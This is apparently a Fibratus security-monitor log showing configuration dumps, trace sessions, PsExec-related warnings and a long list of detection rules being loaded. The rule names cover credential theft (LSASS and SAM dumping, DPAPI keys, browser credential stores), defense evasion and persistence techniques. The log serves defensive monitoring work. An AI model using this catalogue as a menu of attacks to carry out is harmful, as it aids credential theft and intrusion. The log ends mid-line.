systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-images=>false serialize-threads=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-dns=>false flush-interval=>1s min-buffers=>16 enable-registry=>true enable-fileio=>true enable-handle=>false max-buffers=>36 buffer-size=>512 enable-image=>true stack-enrichment=>true enable-mem=>false enable-audit-api=>true enable-thread=>true enable-vamap=>true enable-threadpool=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-net=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true formatter=>text level=>info max-age=>0 max-backups=>15 max-size=>100] + output ......................... [ elasticsearch=>[ sniff=>false gzip-compression=>false healthcheck-interval=>10s healthcheck-timeout=>5s template-name=>fibratus timeout=>5s index-name=>fibratus trace-log=>false enabled=>false bulk-workers=>1 flush-period=>1s healthcheck=>true servers=>[http://127.0.0.1:9200]] http=>[ enabled=>false enable-gzip=>false method=>POST endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false serializer=>json] amqp=>[ url=>amqp://localhost:5672 delivery-mode=>transient routing-key=>fibratus timeout=>5s enabled=>false exchange=>fibratus durable=>false passive=>false tls-insecure-skip-verify=>false vhost=>/ exchange-type=>topic] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false read-sections=>false read-symbols=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false fastscan=>true enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] excluded-procs=>[] skip-registry=>false scan-timeout=>10s skip-allocs=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-04T19:57:29+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T19:57:31+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T19:59:29+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T19:59:29+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T19:59:29+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T19:59:47+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-04T19:59:47+01:00 level=info msg=bootstrapping with pid 7476. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T19:59:47+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ port=>25 content-type=>text/html enabled=>false to=>[] use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-handles=>false] + eventsource .................... [ max-buffers=>36 enable-image=>true enable-handle=>false enable-mem=>false stack-enrichment=>true enable-dns=>false enable-registry=>true enable-vamap=>true enable-net=>true buffer-size=>512 min-buffers=>16 enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-thread=>true enable-threadpool=>false flush-interval=>1s enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true formatter=>text max-backups=>15 max-size=>100 level=>info] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s enabled=>false healthcheck=>true healthcheck-timeout=>5s gzip-compression=>false template-name=>fibratus timeout=>5s trace-log=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 index-name=>fibratus sniff=>false flush-period=>1s] amqp=>[ url=>amqp://localhost:5672 enabled=>false passive=>false routing-key=>fibratus delivery-mode=>transient timeout=>5s exchange-type=>topic durable=>false vhost=>/ tls-insecure-skip-verify=>false exchange=>fibratus] http=>[ endpoints=>[] tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json method=>POST enabled=>false timeout=>5s] eventlog=>[ level=>info enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + enabled=>true]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-registry=>false skip-allocs=>false excluded-procs=>[] rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] scan-timeout=>10s skip-mmaps=>false fastscan=>true enabled=>false skip-files=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-04T19:59:47+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T19:59:49+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T20:00:07+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T20:00:08+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T20:00:08+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T20:02:28+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-04T20:02:28+01:00 level=info msg=bootstrapping with pid 6740. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T20:02:28+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true to=>[] enabled=>false port=>25 content-type=>text/html] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true flush-interval=>1s buffer-size=>512 enable-dns=>false enable-threadpool=>false stack-enrichment=>true enable-audit-api=>true enable-fileio=>true enable-mem=>false enable-vamap=>true enable-handle=>false enable-net=>true max-buffers=>36 min-buffers=>16 enable-image=>true enable-registry=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true max-age=>0 level=>info max-backups=>15 formatter=>text] + output ......................... [ console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty] amqp=>[ exchange=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 timeout=>5s tls-insecure-skip-verify=>false passive=>false enabled=>false vhost=>/ exchange-type=>topic durable=>false routing-key=>fibratus] eventlog=>[ enabled=>false level=>info] http=>[ timeout=>5s endpoints=>[] enabled=>false enable-gzip=>false serializer=>json method=>POST tls-insecure-skip-verify=>false] elasticsearch=>[ healthcheck=>true trace-log=>false enabled=>false sniff=>false timeout=>5s healthcheck-interval=>10s gzip-compression=>false index-name=>fibratus bulk-workers=>1 healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] flush-period=>1s template-name=>fibratus]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]]] + yara ........................... [ skip-registry=>false scan-timeout=>10s excluded-procs=>[] enabled=>false skip-mmaps=>false skip-files=>false excluded-files=>[] fastscan=>true skip-allocs=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-11-04T20:02:28+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T20:02:30+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T20:02:35+01:00 level=warning msg=unable to read \Device\Mup\ARCHRABBIT\admin$\PSEXEC-ARCHRABBIT-56E8391B.key from raw device: runtime error: invalid memory address or nil pointer dereference source=ntfs/ntfs.go:47 +time=2025-11-04T20:04:56+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T20:04:56+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T20:04:56+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T20:05:00+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_suspicious_child_process_integrity_level.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-04T20:05:00+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-04T20:05:00+01:00 level=info msg=bootstrapping with pid 3908. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T20:05:00+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] enabled=>false content-type=>text/html use-template=>true port=>25] slack=>[ enabled=>false] systray=>[ enabled=>false sound=>true quiet-mode=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ enable-dns=>false enable-handle=>false enable-fileio=>true flush-interval=>1s stack-enrichment=>true enable-audit-api=>true enable-net=>true enable-registry=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true buffer-size=>512 max-buffers=>36 enable-threadpool=>false min-buffers=>16 enable-vamap=>true enable-mem=>false enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-size=>100 max-age=>0 formatter=>text level=>info max-backups=>15] + output ......................... [ http=>[ endpoints=>[] timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false enabled=>false method=>POST serializer=>json] elasticsearch=>[ servers=>[http://127.0.0.1:9200] enabled=>false healthcheck-interval=>10s gzip-compression=>false timeout=>5s healthcheck=>true trace-log=>false template-name=>fibratus bulk-workers=>1 flush-period=>1s index-name=>fibratus healthcheck-timeout=>5s sniff=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] amqp=>[ exchange-type=>topic url=>amqp://localhost:5672 delivery-mode=>transient enabled=>false routing-key=>fibratus vhost=>/ exchange=>fibratus timeout=>5s durable=>false tls-insecure-skip-verify=>false passive=>false]] + pe ............................. [ enabled=>false read-symbols=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-registry=>false skip-files=>false enabled=>false skip-mmaps=>false scan-timeout=>10s skip-allocs=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-04T20:05:00+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T20:05:02+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T20:09:33+01:00 level=warning msg=unable to read \Device\Mup\ARCHRABBIT\admin$\PSEXEC-ARCHRABBIT-9B8B4B01.key from raw device: runtime error: invalid memory address or nil pointer dereference source=ntfs/ntfs.go:47 +time=2025-11-04T20:20:37+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T20:20:37+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T20:20:38+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T20:39:00+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T20:39:00+01:00 level=info msg=loading rule from 